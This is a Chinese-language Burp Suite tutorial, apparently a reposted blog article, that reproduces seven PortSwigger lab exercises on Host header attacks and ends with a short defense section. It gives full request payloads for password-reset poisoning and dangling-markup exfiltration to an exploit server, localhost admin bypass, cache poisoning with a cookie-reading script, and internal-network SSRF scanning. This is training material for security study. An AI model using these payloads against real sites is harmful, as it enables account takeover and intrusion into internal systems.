Burp Suite实战:手把手教你复现PortSwigger靶场中的7个Host头攻击实验(附完整Payload)
2026/6/2 2:42:56 网站建设 项目流程

Burp Suite实战:7种Host头攻击手法深度剖析与靶场复现指南

当你在PortSwigger靶场中第一次遇到Host头攻击实验时,可能会被各种变体搞得晕头转向。作为渗透测试中最容易被低估的攻击面之一,Host头漏洞往往隐藏在看似无害的HTTP头部中。本文将带你用Burp Suite逐个击破7种典型攻击场景,从密码重置中毒到SSRF,每个实验都配有可立即复用的Payload和排错技巧。

1. 实验环境准备与基础配置

在开始之前,确保你的Burp Suite已经正确配置。打开Burp Proxy,将浏览器代理设置为127.0.0.1:8080,并安装PortSwigger提供的CA证书。针对Host头攻击,我们需要特别关注以下几个功能模块:

  • Proxy历史记录:用于捕获和分析原始请求
  • Repeater模块:修改和重放请求的核心工具
  • Intruder模块:用于暴力破解和参数模糊测试
  • Collaborator客户端:检测带外交互的重要工具

提示:在Burp Suite的"User options"→"Connections"中,建议关闭"Automatic proxy configuration"以避免干扰实验请求。

常见配置问题排查表:

问题现象可能原因解决方案
无法拦截HTTPS流量CA证书未安装访问http://burp安装证书
请求被浏览器缓存未使用缓存破坏参数在URL后添加?cb=随机数
Collaborator无响应网络策略限制检查防火墙是否放行DNS/HTTP请求

2. 密码重置中毒实战

2.1 基础密码重置中毒

这个实验展示了如何通过篡改Host头劫持密码重置流程。具体操作步骤如下:

  1. 使用凭证wiener:peter登录靶场
  2. 点击"Forgot password"并拦截请求发送到Repeater
  3. 观察原始请求格式:
POST /forgot-password HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net ... username=wiener
  1. 修改Host头为漏洞利用服务器域名:
POST /forgot-password HTTP/1.1 Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net ... username=carlos
  1. 发送请求后检查漏洞服务器的访问日志,获取Carlos的token

关键点在于服务器未验证Host头的真实性,直接将其用于生成密码重置链接。这种漏洞在采用多租户架构的系统中尤为常见。

2.2 悬挂标记变体

第七个实验展示了更隐蔽的悬挂标记攻击:

POST /forgot-password HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net:'<a href="//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/? ... username=carlos

这种Payload利用了邮件客户端的HTML渲染特性,当服务器未正确处理特殊字符时,会导致密码信息外泄到攻击者的服务器。

3. 认证绕过与权限提升

3.1 主机头认证绕过

第二个实验演示了如何通过伪造Host头绕过访问控制:

  1. 访问/admin目录被拒绝
  2. 在Repeater中修改请求:
GET /admin HTTP/1.1 Host: localhost
  1. 成功访问后构造删除请求:
GET /admin/delete?username=carlos HTTP/1.1 Host: localhost

这种漏洞常出现在开发环境与生产环境共用代码库的情况下,后端仅简单检查Host头值就授予特权访问。

3.2 连接状态攻击

第六个实验展示了更复杂的连接复用攻击:

  1. 创建请求组并设置Connection: keep-alive
  2. 第一个请求使用合法Host获取连接:
GET / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Connection: keep-alive
  1. 第二个请求注入恶意Host:
GET /admin/delete?username=carlos HTTP/1.1 Host: 192.168.0.1

这种攻击利用了前端服务器基于连接而非请求的验证机制,在保持TCP连接的情况下绕过安全检查。

4. Web缓存投毒技术

第三个实验展示了如何通过Host头污染缓存:

  1. 观察/resources/js/tracking.js的加载方式
  2. 构造双Host头请求:
GET /?cb=1234 HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
  1. 在漏洞服务器上部署恶意JS:
alert(document.cookie);

缓存系统与后端对多重Host头的处理差异是这类漏洞的根源。关键在于找到响应中反射Host头值的位置。

5. SSRF攻击进阶技巧

5.1 基于路由的SSRF

第四个实验需要扫描内网管理界面:

  1. 使用Intruder爆破Host头:
GET / HTTP/1.1 Host: 192.168.0.§0§
  1. 发现302响应的IP后构造管理请求:
GET /admin/delete?username=carlos HTTP/1.1 Host: 192.168.0.45

5.2 绝对URL绕过

第五个实验展示了更隐蔽的SSRF手法:

GET https://YOUR-LAB-ID.web-security-academy.net/ HTTP/1.1 Host: 192.168.0.45

这种变体避开了对Host头的检查,直接利用绝对URL触发后端请求。在云原生架构中,这类漏洞可能导致更严重的元数据服务访问。

6. 防御方案与检测技巧

虽然本文聚焦攻击手法,但作为专业安全人员,理解防御措施同样重要。以下是一些有效的防护策略:

  • 严格Host头验证:维护合法域名白名单
  • 禁用绝对URL:防止路由旁路
  • 连接级验证:每个请求独立认证
  • 缓存键规范化:避免解析歧义

在Burp Suite中,可以使用以下方法检测Host头漏洞:

  1. 扫描器配置:在"Scan settings"→"Insertion points"启用Host头测试
  2. 手动测试流程:
    • 修改Host为任意值测试响应变化
    • 添加重复/畸形的Host头
    • 尝试绝对URL与特殊端口
  3. Collaborator监控:检测潜在的带外交互

7. 实战经验与排错指南

在复现这些实验时,我遇到过几个典型问题:

缓存污染不生效:确保发送足够多的请求(通常10-15次),并使用不同的缓存破坏参数。观察Age响应头确认缓存命中。

Collaborator无响应:检查Burp的Collaborator服务器配置,有时需要手动切换到公有实例。在"Project options"→"Misc"中可以调整设置。

内网扫描无结果:尝试不同的IP范围(如172.16.0.0/12、10.0.0.0/8),使用Intruder的"Numbers"载荷类型设置合理步长。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询